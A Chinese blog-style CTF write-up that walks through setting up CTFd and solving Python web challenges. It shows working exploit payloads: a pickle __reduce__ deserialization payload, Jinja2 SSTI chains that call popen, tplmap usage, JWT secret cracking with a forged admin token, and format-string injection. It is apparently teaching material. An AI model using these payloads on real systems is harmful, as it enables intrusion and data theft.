p83 CTF夺旗 Python考点SST&反序列化&字符串

数据来源

 演示案例

  • CTF夺旗 - Python - 支付逻辑&JT&反序列化
  • CTF夺旗 - Python - Fask&jnja2&SSTl模版注入
  • CTF夺旗 - Python - 格式化字符串漏洞&读取对象

CTFd环境搭建(我这里使用Ubuntu 64 位虚拟机搭建)

1_ Ubuntu搭建CTFd平台

基于Ubuntu搭建CTFd平台(全网最全)_ctfd平台搭建_晓梦林的博客-CSDN博客

安装过程中运行:pip3 install -r requirements.txt 遇到的问题

翻译了一下大概的意思就是下载超时了,查了下百度说是默认是从外国下载不稳定,换国内的就好(原文

解决方案,换成国内的镜像下载:

pip3 install -r requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple

下载成功

运行CTFd,出现以下提示,表示成功 要在Root权限下进行

python3 serve.py

搞了一天 终于安装成功了,说下我的心得,pyhton的版本一定要大于3.7,安装Ubuntu20.04.5版本的虚拟机就好,他自带python3.8不用自己安装,我之前用18.04版本的虚拟机搞一样都安装不成功。

2)在真实机访问CTFd

在CTFd目录下再开个终端

gunicorn --bind 0.0.0.0:8081 -w 5 "CTFd:create_app()"

真实机访问 

3)汉化:(参考

git clone https://github.com/Gu-f/CTFd_chinese_CN.git #下载汉化包

  1. 了解自己当前使用的CTFd版本
  2. 将符合本版本的themes目录直接替换掉CTFd/CTFd目录下的themes目录即可
  3. 记得备份原来的themes目录。
     

 实现:

# 先获取目标文件夹的权限
sudo chmod -R 777 CTFd
sudo chmod -R 777 CTFd_chinese_CN

 最后刷新一下浏览器

4)关闭服务器与下次再开启

关闭服务器:回到开启服务器的终端下按  ctrl +Z

下次再使用,在终端输入:  

sudo su                      # 提升到管理员模式
cd CTFd                      # 这步是切换到CTFd目录,可以直接在CTFd目录下打开终端就能省了这一步
sudo python3 serve.py        # 运行服务器
sudo gunicorn --bind 0.0.0.0:8081 -w 5 "CTFd:create_app()"   # 开启外部访问虚拟机

我建议是安装到这里直接保存快照,下次要用直接恢复快照

案例1 - CTF夺旗- Python-支付逻辑JwT安全反序列化

真题:2019 CISCN 华北赛区 Day1 Webk WriteUp(全国大学生信息安全竞赛)

将题目放到CTFd平台上:部署CISCN 华北赛区 Day1 Web2题目 (参考

1)下载并配置题目

#下载ciscn_2019_web_northern_china_day1_web2项目
git clone https://github.com/CTFTraining/ciscn_2019_web_northern_china_day1_web2.git

#编辑docker-compose.yml
cd ciscn_2019_web_northern_china_day1_web2
gedit docker-compose.yml

2)使用docker-compose创建容器并启动

# 安装curl
sudo apt install curl

# 安装最新版本的docker

curl -sSL https://get.daocloud.io/docker | sh
sudo apt-get -y install docker.io

# 运行docker服务

service docker start

# 安装docker-compose 如安装失败sudo pip install --upgrade pip更新pip版本后再安装

pip3 install docker-compose

# 使用docker-compose创建容器并启动,这一步要在题目的目录下也就是ciscn_2019_web_northern_china_day1_web2(要等一会)

docker-compose up -d


# 此时会远程下载镜像并安装配置创建容器后台启动,稍等片刻即可
# 出现 Starting ciscn2019webnorthernchinaday1web2_web_1 ... done 表明启动完成

查看docker容器

docker ps -a

这时候是可以使用:http://127.0.0.1:8084 在浏览器访问到我们的题目

3)将题目放到CTFd平台上

首先CTFd平台需要设置一下

更改网站风格,我懒的改直接下一步 

开始添加题目

我这里懒得写备注,就用别人的图片(来源

 

​​

点击首页,退出管理配置界面,点击挑战就能看见刚才创建的题目,其他小伙伴登录就可以直接做题了

 最后我在真实机访问题目,视频是可以正常显示的(我猜测是Ubuntu虚拟机的浏览器无法解析mp4的视频格式,真实机是windows系统可以正常解析)

开始我们的寻找flag之旅

思路:

        打开后通过提示 -> 寻找LV6 -> 购买修改支付逻辑 -> 绕过 admin 限制需修改jwt值 -> 爆破jwt密匙 -> 重组jwt值成为 admin -> 购买进入会员中心 -> 源码找到文件压缩源码 -> Python代码审计反序列化 -> 构造读取flag代码进行序列化打印 -> 提交获取

​ 

我们这里通过写个python脚本帮我们实现

1)寻找到lv6(这一步我分细一点)

 lv6_find.py

先发送请求获取到页面的HTML数据

import requests                   # requests这包是用来发送网络请求的

url = 'http://192.168.42.164:8084/shop?page='

for i in range(1,500):                                    # range(num1,num2) 创建一个数字序列,num1 - num2 不包括num2,这里就先循环499次,找不到再改成1000或1500
    urls =  url + str(i)                                  # 拼接上页数
    result = requests.get(urls).content.decode('utf-8')   # content方法取出响应的数据
    print(result)      # 这里拿到的是页面的htnl格式数据,我们要筛选判断出lv6

过滤寻找lv6,首先我们要知道页面的结构

用代码实现,在原来的基础上添加代码

import requests                   # requests这包是用来发送网络请求的

url = 'http://192.168.42.164:8084/shop?page='            # 先定义好请求的url

for i in range(1,500):                                    # range(num1,num2) 创建一个数字序列,num1 - num2 不包括num2,这里就先循环499次,找不到再改成1000或1500
    urls =  url + str(i)                                  # 拼接上页数
    result = requests.get(urls).content.decode('utf-8')   # content方法取出响应的数据
    # print(result)           # 这里拿到的是页面的htnl格式数据,我们要筛选判断出lv6
    if 'lv6.png' in result:   # 这里判断result中是否存在lv6.png
        print(urls +'|yes')   # 有就把url打印出来
    else:
        pass                  # 也可以不打印,用pass 代替,就是表示空的意思啥都没有,甚至else都可以不写,不过我觉得写上去代码会好看点
        # print(urls + '|no')    # 没有也把url打印出来

最后脚本运行找到lv6在181页,这就是脚本的强大如果要手动寻找要累死 

可以在浏览器把网页url的页数page改成181页验证

2)购买修改支付逻辑

要先注册个账户(注册信息随便写)

我没钱我又想支持ji哥怎么办呢?修改优惠劵,让优惠额度把金额都抵消了

要修改优惠信息那就要搞清楚这个优惠劵是前端验证还是后端验证,如果是真实环境一般都是后端验证数据保存在数据库,但是我们这里是比赛题目,肯定是有漏洞的所以推测他是前端验证,我们直接在浏览器按F12进入开发者模式修改优惠信息

点结算后又出现问题了,页面提示只允许admin访问,意思很明显我们现在在账号没有权限,要我们越权访问,这里的越权是垂直越权 

​ 

3)绕过 admin 限制需修改jwt

如果是真实比赛中我们肯定是要一种种方法的区域尝试修改ID、尝试能不能直接创建admin账号、修改Cookie之类的,我这里是直接站在上帝视角所以直接修改Cookie中的jwt值达到越权访问的目的。

然后这里还需要介绍一下爆破密钥用的工具,链接如下GitHub - brendan-rius/c-jwt-cracker: JWT brute force cracker written in C安装方式如下所示

我这里是下载安装到虚拟机中使用方式如下:

# 下载工具
git clone https://github.com/brendan-rius/c-jwt-cracker

# 构建 Docker 镜像
docker build . -t jwtcrack

# 在 Docker 上运行
docker run -it --rm  jwtcrack 要爆破密钥的JWT

得到密钥为1Kun进入解码网站https://jwt.io,对jwt进行解码 

 到这里我们要绕过 admin 限制需修改jwt值就很简单了首先我们现在已经知道这个网站用来加密JWT的秘钥是:1Kun,然后加密的数据是账号的用户名,那我们只需要将admin通过1Kun,密钥进行加密,就能的得到 admin 用户的JWT就能使用越权访问

3.2)重组jwt值成为 admin

复制JWT 

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo

3.3)购买进入会员中心

 要给请求更换JWT要用到抓包工具,我这里用:Burpsuite

首先给网页开启代理,并清空抓包软件的历史记录

点击购买

查看抓包软件 

开启数据包拦截

回到浏览器刷新页面 

复制admin的JWT 

替换掉到原来的JWT 

放包并查看浏览器

点击一键成为大会员也没有反应,就一句提示:This is Black Technology!(这是黑科技! ),下步我们该怎么玩? 

这句提示不是很明显,如果是现实比赛中我们遇到这种情况下一步就应该查看源代码

 4)查看源代码,寻找下一步该干嘛

将下载的压缩包解压后发现这是pyhton文件(就是我们刚才访问网站的源代码),没有其他提示这就很明显了要我们做代码审计,从代码中找出漏洞 

5)如何做Python的代码审计?

可以参考github上的一个仓库:GitHub - bit4woo/python_sec: python安全和代码审计相关资料收集 resource collection of python security and code review

有了反序列化的漏洞关键字后,我们就可以把刚才下载的python项目在我们的代码编译工具中打开然后搜索关键字(随便一个代码编辑工具都行)

按照关键字一个一个的尝试搜索,最后找到了pickle

反序列化
marshal
PyYAML
pickle和cpickle
shelve
PIL
unzip

如何利用pickle这个反序列化漏洞?知识是学无止境的一个人不可能什么都会,我们可以上百度搜索如何利用

Pickle模块与序列化/反序列化的介绍: Pickle模块的使用 - 哔哩哔哩

查看源代码:

import tornado.web
from sshop.base import BaseHandler
import pickle     # pickle是python语言的一个标准模块,安装python后已包含pickle库,不需要单独再安装
import urllib


class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            # self.get_argument(‘xxx’) xxx填写的是前端的字段
            become = self.get_argument('become')    # 这里就是获取前端的表单的become字段
            # pickle.loads()该方法实现的是将序列化的对象,将数据序列化
            # urllib.unquote()目的是对url编码进行解码,与该函数对应的是编码函数urllib.quote()
            p = pickle.loads(urllib.unquote(become))
            # 从字节对象中读取被封装的对象
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

代码解析:用户传入become参数,服务器将become参数url解码再反序列化并将结果给p,将p当
作一个参数给res,并且form.html有向客户端显示res的部分

利用:我们可以通过构造字符串,为对象的属性和方法进行赋值,构造payload 

 

6)用python得到攻击所需的payload

pickle.dump()  该方法实现的是将序列化后的对象obj以二进制形式写入文件file中,进行保存 

pickle.dumps() 方法不需要写入文件中,它是直接返回一个序列化的bytes对象。

test.py

import pickle

import urllib


class payload(object):

    def __reduce__(self):

        return (eval,("open('/flag.txt','r').read()",))


a=pickle.dumps(payload())

a=urllib.quote(a)

print a

代码解析 

import pickle
import urllib

# 首先用python得到攻击所需的payload
class payload(object):
    def __reduce__(self):
        # open(file,操作符)   读取文件file,r 表示以读取的方式打开,读取文件
        # read(num)   num 是要读取文件的字节数,不传就是读取全部
        # eval 表示用eval的方式序列化后面内容
        return (eval,("open('/flag.txt','r').read()",))   # 因为我们需要flag.txt文件的的数据,这个类的作用就是获取到这个文件内的数据

# pickle.dumps() 方法与pickle.dump区别是不需要写入文件中,它是直接返回一个序列化的bytes对象。
a=pickle.dumps(payload()) # 得到指定方法序列化后数据,因为服务器接收到我们传的参数会反序列化,所以我们的参数必须序列化后再传进去,这里就是把整个pickle类给序列化了
a=urllib.quote(a)         # 得到url编码后的payload,urllib.quote()方法就是将数据进行URL编码,因为服务器会对我们传入的参数进行url解码
print a

7)将我们生成的攻击payload写入前端页面,传给后端

将我们的攻击payload粘贴进去,然后发送

 我们需要的数据是 { }  花括号内的字符

案例 2 - CTF夺旗 - Python-Fask & jnja2&SSTl模版注入()

1、ssti 模板注入原理解释

参考:https://xz.aliyun.com/t/7746

演示存在SSTI模板注入漏洞的代码

from flask import Flask,request
from jinja2 import Template    # Template 字符串模板,用于替换字符串中的变量。
app = Flask(__name__)
app.config['SECRET_KEY'] = "password:123456789"
@app.route("/")
def index():
    name = request.args.get('name', 'guest')    #   request.args.get() 获取前端传过来的参数
    t = Template('''
<html>
  <head>
    <title>SSTI_TEST - cl4y</title>
  </head>
 <body>
      <h1>Hello, %s !</h1>
  </body>
</html>
                '''% (name))    #  % (name)) 会替换掉上面的 %s
    return t.render()
if __name__ == "__main__":
    app.run()

没有漏洞的情况

2、如何确定Python-ssti模块注入:中间件,返回页面,关键文字提示等

查看中间件的方法:

1)查看请求的数据包

2)使用插件wappalyzer 

查看返回页面 

关键文字提示,如:Python-Fask & jnja2&SSTl

3、如何正确利用ssti注入获取Flag:判断版本 - 找利用类 - 构造Payload - 绕过滤等

参考:https://xz.aliyun.com/t/7746

1)人工:判断版本-找利用类-构造Payload-绕过滤等

  • 随便找一个内置类对象用__class__拿到他所对应的类
  • __bases__拿到基类(<class 'object'>
  • __subclasses__()拿到子类列表
  • 在子类列表中直接寻找可以利用的类getshell
''.__class__.__bases__[0].__subclasses__()
().__class__.__mro__[2].__subclasses__()
request.__class__.__mro__[1]

将查询代码传入我们的网页

''.__class__.__bases__[0].__subclasses__()

搜索os模块(os 操作系统中的文件系统相关的模块)

python2、python3通用payload

os._wrap_close类里有popen  ( pythonpopen函数的使用,主要是用来执行linux命令)

我们可以先搜索一下有没有os._wrap_close这个类

 使用os下的popen(下面这条命令是执行whoami可以自己改成其他的如:dir、ipconfig)

{{%22%22.__class__.__bases__[0].__subclasses__()[128].__init__.__globals__[%27popen%27](%27whoami%27).read()}}

2)工具:自动化检测工具tplmap使用

  • https://github.com/epinna/tplmap
  • https://www.cnblogs.com/f0rsaken/p/14610425.html    工具使用介绍

工具下载后进入根目录

 检测是否有SSTI漏洞,如下图,发现有漏洞,可上传下载文件(其实也可以命令执行,工具可能会误报)。

python tplmap.py -u  http://127.0.0.1:5000/?name=    # -u URL, --url=URL   目标 URL

2、下载文件

命令:

python tplmap.py -u http://127.0.0.1:5000/?name= --download flag.txt flag.txt

SSTI漏洞案例演示

在线靶场地址:https://buuoj.cn/challenges#[WesternCTF2018]shrine

注册个账号登录,然后搜索题目:[WesternCTF2018]shrine 

1)页面打开如下,直接给出源代码。

 打开发现给出源码-pytho&flask&ssti-代码分析访问参数,flag位置,过滤等 - 不能进行正常的路径符合采用内置函数读取 - 读取代码中的存储FLAG

因为在下面的代码找不到要传参的变量,所以使用url路径/内置函数进行数据传递

import flask                                  # 看到flask,想到模板注入
import os 

app = flask.Flask(__name__) 
app.config['FLAG'] = os.environ.pop('FLAG')    # 这里定义了全局变量 FLAG 这个就是我们需要的东西
    
@app.route('/') 
def index(): 
    return open(__file__).read() 

@app.route('/shrine/')            # url要访问到/shrine 在会执行下面的代码 
def shrine(shrine): 
    def safe_jinja(s): 
        s = s.replace('(', '').replace(')', '')   # 这里做了数据过滤将 () 过滤为空
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__': 
    app.run(debug=True)

可以手工测试:

/shrine/{{1+1}}

返回2,说明有SSTI漏洞

使用工具测试

也可以使用工具测试,由于这里源代码中没有给出参数,因此需要在url后面加*

命令:

python tplmap.py -u http://012f805a-da58-4973-b9dd-d9b7578e40d3.node4.buuoj.cn:81/shrine/*

这里检测出漏洞,但是却不能利用操作。原因是源代码中作了过滤,过滤了,我们之前用到的攻击方式都是用到()  这里的源代码直接件()给过滤了,所以我们之前的攻击方式都用不了,这里要用pyhton的内置函数进行攻击

用pyhton的内置函数进行攻击

url_for查看全局变量:

/shrine/{{url_for.__globals__}}           # __globals__ 当前模块的所有变量

查看current_app(当前应用程序的变量)

/shrine/{{url_for.__globals__['current_app']}}   

 查看FLAG(当前应用程序的变量)

/shrine/{{url_for.__globals__['current_app'].config['FLAG']}}     # 查看源码发现FLAG是在config内所以我们要先找到config才能获取到FLAG

案例 3 - CTF夺旗 - Python - 格式化字符串漏洞&读取对象

格式化字符串漏洞原理

  • 第一种:%操作符
  • 第二种:string.Template
  • 第三种:调用Format方法
  • 第四种:f-Strings

参考:https:/xz.aliyun.com/t/3569

1)调用Format方法。如下图所示,name后面的值可控,我们就可以传参获取当前脚本的核心变量flag值。

config = {'flag':'woaichixigua'}
class User(object):
    def __init__(self,name):
        self.name = name

user = User('joe')
# 相对基本格式化输出采用‘%’的方法,format()功能更强大,该函数把字符串当成一个模板,通过传入的参数进行格式化,并且使用大括号‘{}’作为特殊字符代替‘%’
print('Hello {name}'.format(name='xiadi'))      #  Hello  xiadi
# __globals__ 当前模块的所有变量
print('Hello {name}'.format(name=user.__class__.__init__.__globals__))

# name后面的值可控,我们user、class、init、globals、['config'] 传入获取脚本核心的flag
print(user.__class__.__init__.__globals__['config'])    # {'flag': 'woaichixigua'}

2)f"{字符串}"。这是python3函数式的新增一种字符串,其功能强大,可以执行字符串中包含的python表达式。

a,b = 5,10
print(f"a+b = {a+b}, 2*a+b = {2*(a+b)}")
print(f'{__import__("os").system("dir")}')    # __import__("os").system() 使用os模块的system()方法,这个方法是用来执行系统命令的

涉及资源: 

https://github.com/mguang323/CTFd
https://github.com/CTFTraining
https://github.com/epinna/tplmap/
https://github.com/bit4woo/python_sec
https://github.com/brendan-rius/c-jwt-cracker
https://xz.aliyun.com/t/7746
https://xz.aliyun.com/t/3569
 

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

狗蛋的博客之旅

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值